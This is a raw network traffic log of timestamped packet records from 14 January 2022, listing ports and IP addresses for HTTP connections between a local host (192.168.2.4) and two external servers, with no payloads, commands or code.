Jan 14, 2022 12:30:16.369638920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.369817019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370031118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370198965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370455027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370575905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370671034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370764971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370863914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.370959997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371045113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371140003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371242046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371355057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371449947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371550083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371669054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371768951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371850014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.371939898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372036934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372124910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372221947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372325897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372425079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372517109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372605085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372705936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372798920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372885942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.372986078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373080969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373162031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373270035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373359919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373450041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.373543978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.411570072 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.411672115 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.411772966 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.416347980 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.422275066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.423290968 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.423408031 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.423484087 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.423604012 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.424047947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.424328089 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.425772905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.425805092 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.427413940 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.427426100 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.428016901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.429630041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.429645061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.429724932 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430028915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430041075 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430212975 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430248976 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430447102 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.430526972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.431783915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.431797028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.431803942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.433931112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.450797081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.450910091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451006889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451107979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451198101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451301098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451392889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451493979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451581955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451682091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451775074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451877117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.451968908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452069044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452158928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452260971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452353954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452454090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452544928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452647924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452735901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452837944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.452925920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453031063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453118086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453221083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453315973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453422070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453524113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453629971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453737020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.453959942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454097986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454236984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454514980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454638004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454744101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454838037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.454937935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455043077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455133915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455236912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455423117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455526114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455617905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455713987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455806017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455897093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.455987930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456079006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456168890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456309080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456403971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456496954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456590891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456679106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456773043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456865072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.456954956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457046032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457137108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457228899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457333088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457425117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457515955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457607031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457699060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457792044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.457895041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.458112001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.458383083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.458645105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.458874941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.459136009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.459368944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.459615946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.459883928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.460141897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.460402966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.460649967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.460876942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.461117029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.461369038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.461615086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.461735964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.462142944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.462315083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.470037937 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.470091105 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.470108032 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.470124006 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.470240116 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.510349035 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510436058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510634899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510647058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510714054 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510785103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.510874987 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514517069 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514530897 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514539003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514549971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514558077 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514568090 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514580965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514903069 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.514914989 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.515054941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.515162945 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.515965939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.515980005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.516350031 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.516393900 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.520005941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.520020008 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.520174026 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.520227909 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.520303965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.524244070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.524578094 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.527606964 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527652979 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527723074 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527743101 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.527760029 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527777910 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527793884 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527821064 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527834892 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.527837038 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.527883053 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.549747944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.549909115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550044060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550173044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550321102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550452948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550585032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550714016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550847054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.550977945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551105022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551239014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551399946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551537991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551666975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551796913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.551928997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.585526943 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585586071 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585608006 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585629940 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585649014 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585650921 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585674047 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585701942 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585724115 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585731983 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585752964 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585774899 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585787058 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585794926 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585815907 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585824966 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585838079 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585872889 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585885048 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585906029 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585927963 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585949898 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.585962057 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.585994005 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.610734940 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.611779928 CET	49928	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.611797094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.611915112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612021923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612123966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612217903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612317085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612416029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612508059 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.612514973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612540007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.612565041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.612660885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612770081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612849951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.612951040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613043070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613140106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613225937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613331079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613419056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613519907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613606930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613703966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613802910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613895893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.613993883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614082098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614182949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614269972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614373922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614461899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614561081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614623070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.614658117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614767075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614867926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.614953995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615055084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615151882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615246058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615500927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615585089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615681887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615787029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615874052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.615967989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616060972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616166115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616251945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616350889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616449118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616544008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616631985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616772890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616863012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.616971016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617058039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617152929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617249966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617347956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617434025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617538929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617630959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617738008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617821932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.617935896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618021965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618117094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618202925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618340969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618439913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618545055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618632078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618733883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618820906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.618921041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619012117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619113922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619203091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619402885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619508028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619611979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619721889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619822979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.619945049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620021105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620126963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620229959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620369911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620505095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620600939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620697021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620791912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620877981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.620973110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631321907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631478071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631565094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.631653070 CET	49914	80	192.168.2.4	185.215.113.35
